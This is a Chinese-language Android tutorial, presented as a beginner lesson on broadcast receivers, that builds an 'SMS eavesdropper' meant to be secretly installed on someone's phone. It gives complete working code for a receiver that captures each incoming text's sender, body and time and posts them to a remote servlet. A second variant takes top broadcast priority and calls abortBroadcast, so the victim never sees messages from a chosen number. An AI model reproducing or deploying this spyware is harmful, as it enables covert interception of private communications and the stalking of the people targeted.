Android入门：广播接收者应用（短信窃听器）

一、短信窃听器原理介绍

短信窃听器的目的是窃听某人发送的短信，比如我们在A的手机中安装了此应用想要看B发送给A的短信；

而怎么样才能够获得短信息呢？如果通过短信方式发送给第三方，则会被看出来，因此我们可以通过网络将消息发送给web服务器；

Android手机中的Messaging应用也只是一个普通的应用；

二、核心代码

短信窃听器客户端核心代码

在AndroidManifest.xml中添加权限：

<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<uses-permission android:name="android.permission.INTERNET"/><!-- 网络访问权限 -->

(1)Object[] pdus = (Object[])intent.getExtras().get("pdus");获得短信数据

(2)byte[] pdu = (byte[])pdus[0];

(3)SmsMessage message = SmsMessage.createFromPdu(pdu);将字节数组封装为SmsMessage

(4)String content = message.getMessageBody();获得短信内容

(5)String date = new Date(message.getTimestampMillis()).toLocaleString();获得短信时间

(6)String senderNumber = message.getOriginatingAddress();获得发送方号码

服务器端代码只是接收参数并显示；

三、短信窃听器具体代码

服务器端代码

package org.xiazdong.servlet;

import java.io.IOException;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

@WebServlet("/SMSServlet")
public class SMSServlet extends HttpServlet {
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doPost(request, response);
}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
request.setCharacterEncoding("utf-8");
String sender = request.getParameter("sender");
String body = request.getParameter("body");
String time = request.getParameter("time");
System.out.println("发送方："+sender);
System.out.println("发送内容："+body);
System.out.println("发送时间："+time);
}
}

1.只是获得短信息

场景介绍



效果说明：

package com.xiazdong.smslistener;

import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.Date;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;

public class SMSBroadcastReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[])intent.getExtras().get("pdus");	//接收数据
for(Object p: pdus){
byte[]pdu = (byte[])p;
SmsMessage message = SmsMessage.createFromPdu(pdu);	//根据获得的byte[]封装成SmsMessage
String body = message.getMessageBody();				//发送内容
String date = new Date(message.getTimestampMillis()).toLocaleString();//发送时间
String sender = message.getOriginatingAddress();	//短信发送方
try {
sendSMS(sender,body,date);
} catch (Exception e) {
e.printStackTrace();
}
if("5554".equals(sender)){
try {
sendSMS(sender,body,date);
} catch (Exception e) {
e.printStackTrace();
}
}
}
}

private void sendSMS(String sender, String body, String date) throws Exception{
String params = "sender="+URLEncoder.encode(sender)+"&body="+URLEncoder.encode(body)+"&time="+URLEncoder.encode(date);
byte[]bytes = params.getBytes("UTF-8");
URL url = new URL("http://192.168.0.103:8080/Server/SMSServlet");
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");	//设置HTTP请求头
conn.setRequestProperty("Content-Length", bytes.length+"");
conn.setDoOutput(true);
OutputStream out = conn.getOutputStream();
out.write(bytes);	//设置HTTP请求体
if(conn.getResponseCode()==200){
Log.i("TAG", "发送成功");
}
}

}

AndroidManifest.xml

<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<uses-permission android:name="android.permission.INTERNET"/><!-- 网络访问权限 -->
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<receiver android:name=".SMSBroadcastReceiver">
<intent-filter >
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>
</receiver>
</application>

2.屏蔽短信并发送给第三方

场景说明



客户端代码：

package com.xiazdong.smslistener;

import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import java.net.URLEncoder;
import java.util.Date;

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.telephony.SmsMessage;
import android.util.Log;

public class SMSBroadcastReceiver extends BroadcastReceiver {

@Override
public void onReceive(Context context, Intent intent) {
Object[] pdus = (Object[])intent.getExtras().get("pdus");	//接收数据
for(Object p: pdus){
byte[]pdu = (byte[])p;
SmsMessage message = SmsMessage.createFromPdu(pdu);	//根据获得的byte[]封装成SmsMessage
String body = message.getMessageBody();				//发送内容
String date = new Date(message.getTimestampMillis()).toLocaleString();//发送时间
String sender = message.getOriginatingAddress();	//短信发送方

if("15555215556".equals(sender)){
try {
sendSMS(sender,body,date);
} catch (Exception e) {
e.printStackTrace();
}
abortBroadcast();	//中断广播
}
}
}

private void sendSMS(String sender, String body, String date) throws Exception{
String params = "sender="+URLEncoder.encode(sender)+"&body="+URLEncoder.encode(body)+"&time="+URLEncoder.encode(date);
byte[]bytes = params.getBytes("UTF-8");
URL url = new URL("http://192.168.0.103:8080/Server/SMSServlet");
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
conn.setRequestMethod("POST");
conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded");	//设置HTTP请求头
conn.setRequestProperty("Content-Length", bytes.length+"");
conn.setDoOutput(true);
OutputStream out = conn.getOutputStream();
out.write(bytes);	//设置HTTP请求体
if(conn.getResponseCode()==200){
Log.i("TAG", "发送成功");
}
}

}

AndroidManifest.xml

<uses-permission android:name="android.permission.RECEIVE_SMS"/><!-- 接收短信权限 -->
<uses-permission android:name="android.permission.INTERNET"/><!-- 网络访问权限 -->
<application
android:icon="@drawable/ic_launcher"
android:label="@string/app_name" >
<receiver android:name=".SMSBroadcastReceiver">
<intent-filter android:priority="1000">	<!-- 优先级设为1000，最高 -->
<action android:name="android.provider.Telephony.SMS_RECEIVED"/>
</intent-filter>

</receiver>
</application>